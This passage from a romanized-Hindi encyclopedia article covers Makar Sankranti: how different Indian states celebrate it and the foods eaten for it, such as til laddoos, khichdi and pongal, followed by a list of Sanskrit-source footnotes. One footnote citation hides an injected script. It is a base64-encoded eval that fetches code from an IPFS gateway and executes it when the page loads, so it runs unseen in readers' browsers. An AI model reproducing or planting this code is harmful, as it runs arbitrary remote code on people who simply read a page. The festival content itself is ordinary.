karnatak mean bhi fasal ka tyohar shan se manaya jata hai. bailoan aur gayoan ko susajjit kar unaki shobha yatra nikali jati hai. naye paridhan mean saje nar-nari, eekh, sookha nariyal aur bhune chane ke sath ek doosare ka abhivadan karate haian. pantagabazi is avasar ka lokapriy paramparagat khel hai.
gujarat mean makar-sakraanti
gujarat ka kshitij bhi sankranti ke avasar par rangabirangi pantagoan se bhar jata hai. gujarati log sankranti ko ek shubh divas manate haian aur is avasar par chhatroan ko chhatravritiyaan aur puraskar baantate haian.
keral mean makar-sakraanti
keral mean bhagavan ayappa ki nivas sthali sabarimala ki varshik tirthayatra ki avadhi makar sankranti ke din hi samapt hoti hai, jab sudoor parvatoan ke kshitij par ek divy abha ‘makar jyoti’ dikhaee p dati hai.
tamilanadu mean makar-sakraanti
tamilanadu mean is tyohar ko poangal ke roop mean char din tak manaya jata hai.pahale din bhogi-poangal, doosare din soory-poangal, tisare din mattoo-poangal athava kenoo-poangal, chauthe v aantim din kanya-poangal. is prakar pahale din koo da karakat ikattha kar jalaya jata hai, doosare din lakshmi ji ki pooja ki jati hai aur tisare din pashu dhan ki pooja ki jati hai. poangal manane ke lie snan karake khule aangan mean mitti ke bartan mean khir banaee jati hai, jise poangal kahate haian. isake bad soory dev ko naivaidy chadhaya jata hai. usake bad khir ko prasad ke roop mean sabhi grahan karate haian. asam mean makar sankraanti ko magh-bihoo ya bhogali-bihoo ke nam se manate haian. rajasthan mean is parv par suhagan mahilaean apani sas ko vayana dekar ashirvad leti haian. sath hi mahilaean kisi bhi saubhagyasoochak vastu ka chaudah ki sankhya mean poojan v sankalp kar chaudah brahmanoan ko dan deti haian. any bharatiy tyoharoan ki tarah makar sankraanti par bhi logoan mean vishesh utsah dekhane ko milata hai.
makar sankraanti par khan-pan
[[chitr:Til-ke-ladoo-recipe.jpg|thumb|til ke laddoo|250px]] makar sankraanti mean soory ka dakshinayan se uttarayan mean ane ka svagat kiya jata hai. shishir rritu ki vidaee aur basant ka abhivadan tatha agahani fasal ke kat kar ghar mean ane ka utsav manaya jata hai. utsav ka ayojan hone par sabase pahale khan-pan ki charcha hoti hai. makar sankraanti parv jis prakar desh bhar mean alag-alag tariqe aur nam se manaya jata hai, usi prakar khan-pan mean bhi vividhata rahati hai. kiantu ek vishesh tathy yah hai ki makar sankrati ke nam, tariqe aur khan-pan mean aantar ke bavajood sabhi mean ek samanata hai ki isamean vyanjan to alag-alag hote haian, kintu unamean prayog hone vali samagri ek-si hoti hai.[49] yah mahattvapoorn parv magh mas mean manaya jata hai. bharat mean magh mahine mean sabase adhik sardi p dati hai, at: sharir ko aandar se garm rakhane ke lie til, chaval, u dad ki dal evan gu d ka sevan kiya jata hai. makar sankraanti mean in khady padarthoan ke sevan ka yah bhautik adhar hai. in khadyoan ke sevan ka dharmik adhar bhi hai. shastroan mean likha hai ki magh mas mean jo vyakti pratidin vishnu bhagavan ki pooja til se karata hai aur til ka sevan karata hai, usake kee janmoan ke pap kat jate haian. agar vyakti til ka sevan nahian kar pata hai to sirph til-til jap karane se bhi puny ki prapti hoti hai. til ka mahatv makar sankraanti mean is karan bhi hai ki soory devata dhanu rashi se nikalakar makar rashi mean pravesh karate haian. makar rashi ke svami shani dev haian, jo soory ke putr hone ke bavajood soory se shatru bhav rakhate haian. at: shani dev ke ghar mean soory ki upasthiti ke dauran shani unhean kasht n dean, isalie til ka dan v sevan makar sankraanti mean kiya jata hai. chaval, gu d evan u dad khane ka dharmik adhar yah hai ki is samay ye fasalean taiyar hokar ghar mean ati haian. in fasaloan ko soory devata ko arpit karake unhean dhanyavad diya jata hai ki "he dev! apaki kripa se yah fasal prapt huee hai. at: pahale ap ise grahan karean tatpashchath prasad svaroop mean hamean pradan karean, jo hamare sharir ko ushma, bal aur pushtata pradan kare."
any rajyoan ka khan-pan
makar sankraanti par bharat ke vibhinn rajyoan mean apana-apana khan-pan hai-
- bihar tatha uttar pradesh
bihar evan uttar pradesh mean khan-pan lagabhag ek jaisa hota hai. donoan hi praant mean is din agahani dhan se prapt chaval aur u dad ki dal se khich di banaee jati hai. kul devata ko isaka bhog lagaya jata hai. log ek-doosare ke ghar khich di ke sath vibhinn prakar ke any vyanjanoan ka adan-pradan karate haian. bihar aur uttar pradesh ke log makar sankrati ko "khich di parv" ke nam se bhi pukarate haian. is praant mean makar sankrati ke din log choo da-dahi, gu d evan til ke laddoo bhi khate haian. choo de evan muramure ki laee bhi banaee jati hai.
- madhy pradesh aur chhattisagadh
madhy pradesh aur chhattisagadh mean makar sankraanti ke din bihar aur uttar pradesh ki hi tarah khich di aur til khane ki parampara hai. yahaan ke log is din gujiya bhi banate haian.
- dakshin bharat
dakshin bharatiy praantoan mean makar sankrati ke din gu d, chaval evan dal se poangal banaya jata hai. vibhinn prakar ki kachchi sabjiyoan ko lekar mishrit sabzi banaee jati hai. inhean soory dev ko arpit karane ke pashchath sabhi log prasad roop mean ise grahan karate haian. is din ganna khane ki bhi parampara hai.
- panjab evan hariyana
panjab evan hariyana mean is parv mean vibhinn prakar ke vyanjanoan mean makke ki roti evan sarasoan ke sag ko vishesh taur par shamil kiya jata hai. is din panjab evan hariyana ke logoan mean tilakoot, rev di aur gajak khane ki bhi parampara hai. makke ka lava, mooangaphali evan mithaeeyaan bhi log khate haian.[49]
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tika tippani aur sandarbh
- ↑ bihar rajy ka ek vyanjan, jo choo da chaval se banaya jata hai.
- ↑ rave: sankramanan rashau sankrantiriti kathyate. snanadanatap:shraddhahomadishu mahaphala.. nagarakhand (hemadri, kal, prishth 410); meshadishu dvadasharashishu kramen sancharat: sooryasy poorvasmadrasheruttararashau sankramanan pravesh: sankranti. atastadrashinamapur:saran sa sankrantirvyapadishyate. kal nirnay, prishth 331.
- ↑ 3.00 3.01 3.02 3.03 3.04 3.05 3.06 3.07 3.08 3.09 3.10 3.11 3.12 dharmashastr ka itihas, chaturth bhag |lekhak: d aau. pandurang vaman kane |prakashak: uttar pradesh hiandi sansthan |prishth sankhya: 79-84 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shatapath brahman, 2|1|3|1, 3 evan 4; chhandogyopanishad, 4|15|5, evan 5|10|1-2). rrigved (3|33|7
- ↑ (ashvalayan grihyasootr, 1|4|1-2; kaushitaki grihy, 1|5; jai. 6|8|23; apastambh grihyasootr 1|1|2)
- ↑ yajnavalkyasmriti 1|80, susthe indau
- ↑ rave: sankramanan rashau sankrantiriti kathyate. snanadanatap:shraddhahomadishu mahaphala.. nagarakhand (hemadri, kal, prishth 410); meshadishu dvadasharashishu kramen sancharat: sooryasy poorvasmadrasheruttararashau sankramanan pravesh: sankranti. atastadrashinamapur:saran sa sankrantirvyapadishyate. kal nirnay, prishth 331.
- ↑ matsyapuran, adhyay 98
- ↑ matsyapuran, 98|17
- ↑ sankrantyaan pakshayorante grahane chandrasooryayo:. gangasnato nar: kamadh brahman: sadanan vrajeth.. bhavishyapuran (varsh kriya kaumadi., prishth 415).
- ↑ (kal vivek, prishth 380 kal nirnay, prishth 333 adi mean uddhrit
- ↑ (kal nirnay, prishth 345)
- ↑ hemadri, kal, prishth 437
- ↑ kal nirnay, prishth 345
- ↑ (kal nirnay, prishth 333)
- ↑ isamean adhikatam punyakal 60 ghatikaoan ka hai
- ↑ jahaan 16 ghatikaoan ki idhar-udhar chhoot hai
- ↑ (kal, prishth 436-437)
- ↑ hemadri, kal, prishth 417, kal vivek, prishth 382; krityakalpataru., naiyatakal, prishth 361-362 evan 365
- ↑ krityakalpataru., naiyatakal, prishth 360; hemadri, kal, prishth 418; samay mayookh, prishth 167
- ↑ tithitattv, prishth 144-145
- ↑ dharmasiandhu, prishth 2-3
- ↑ prishth 531
- ↑ panchasiddhantika (3|23-24, prishth 9) ne paribhasha di hai- 'meshatuladau vishuvath shadashitimukhan tuladibhageshu. shadashitimukheshu rave: pitridivasa yeavashesha: syu:.. shadashitimukhan kanyachaturdasheashtadashe ch mithunasy. minasy dvarvishe shadavishe karmukasyaanshe.. tula adiryasya: sa tuladi: kanya. dvadashaiv bhavantyeshaan dvij namani me shrrinu. ekan vishnupadan nam shadashitimukhan tatha.. vishuvan ch tritiyan ch anye dve dakshinottare.. kumbhaligoharishu vishnupadan vadanti strichapaminamithune shadashitivaktramh. arkasy saumyamayanan shashidhamni yamyamrikshe jhashe vishuvati tvajataulino: syath.. brahmavaivart (hemadri, kal, prishth 407) . kuchh shabdoan ki vyakhya avashyak hai- ali vrishchik, go vrishabh, hari sianh, stri kanya, chap dhanu:, shashidhamni shashigrih karkatak, saumyayan uttarayan, yamy dakshinayan (yam dakshin ka adhipati hai), jhash makar, aj mesh, tauli (jo tarajoo pak de rahata hai) tula.'
- ↑ dekhie brihatsanhita, 98|6-11; krityakalpataru, naiyatakal, prishth 361; hemadri, kal., prishth 409; kal nirnay, prishth 341-342; samay mayookh, prishth 137. brihatsanhita 98|9 evan krityakalpataru, naiyat ne laghu dal mean vibhajit ka ullekh nahian kiya hai
- ↑ (hemadri, kal, prishth 409-410 evan varsh kriya kaumadi., prishth 210 jahaan devipuran ki uktiyaan uddhrit haian)
- ↑ hemadri, kal, prishth 418-419; krity ratnakar, prishth 614-165 evan krityakalp, prishth 361-361
- ↑ mesh evan tula
- ↑ makar evan karkat sankranti
- ↑ parashar (12|20; smritichandrika 1, prishth 120)
- ↑ (hemadri, kal, prishth 433; kal nirnay, prishth 339)
- ↑ (hemadri, kal, prishth 415-416, nirnay siandhu, prishth 218)
- ↑ (hemadri, kal, prishth 413; krityakalpataru., naiyatakal, prishth 366-367)
- ↑ skande-dhenuan tilamayian rajanh dadyadyashchottarayane. sarvanh kamanavapnoti vindate paraman sukham.. vishnudharmottare-uttare tvayane vipra vastradanan mahaphalamh. tilapoorvamanadvahan dattv. rogai: pramuchyate.. shivarahasye. pura makarasankrantau shankaro gosave krite. tilanutpadayamas triptaye sarvadehinamh. tasmattasyaan tilai: snanan kary chodvartanan budhai:. devatanaan viprinaan ch sodakaistarpanan tilai:. tila deyashch viprebhy: sarvadaivottarayane. tilaanshch bhakshayetpunyanh hotavyashch tatha tila:. tasyaan tathau tilairhutva yearchayanti dvijottamanh. tridive te virajante gosahastrapradayin:. tilatailen dipashch deya: shivagrihe shubha:. satilaistandulairdevan poojayedvidhivadh dvijamh.. hemadri (kal, prishth 415-416); nirnay siandhu (prishth 218). gosahastr 16 mahadanoan mean ek hai. dekhie is mahagranth ka khand 2. 'tridive te virajante' ke sath milaie rri. (10|107|2): 'uchcha divi dakshinavanto asthurye ashvada srah te sooryen.'
- ↑ soory ke uttarayan ya dakshinayan
- ↑ vriddhavasishth, hemadri, kal, prishth 412; varsh kriya kaumadi., prishth 91
- ↑ varsh kriya kaumadi., prishth 214; kal vivek, prishth 382
- ↑ a ashadh, ka kartik, ma magh, vai vaishakh
- ↑ vishnu dharm sootr, 3|319|38-45
- ↑ vishnu dharm sootr, 77|1-2
- ↑ vivah, putr janm ke
- ↑ nirnayasiandhu, prishth 6
- ↑ vishnupuran, 3|11|118-119, krity ratnakar, prishth 547 evan varsh kriya kaumadi., prishth 216
- ↑ jahaan ka bhojan mal-mootr hota hai
- ↑ (varsh kriya kaumadi, prishth 216)
- ↑ pitaroan ko
- ↑ tilodvarti tilasnayi shachirnityan tilodaki. hota data ch bhokta v shattili navasidati.. shatatap.
- ↑ makar sankraanti aj ya kal, jyotishiyoan mean bhi ek ray nahian (hindi) (pi.ech.pi) navabharat taims. abhigaman tithi: 15 janavari, 2012.
- ↑ 49.0 49.1 makar sankraanti khan-pan (hindi). . abhigaman tithi: 12 janavari, 2013.
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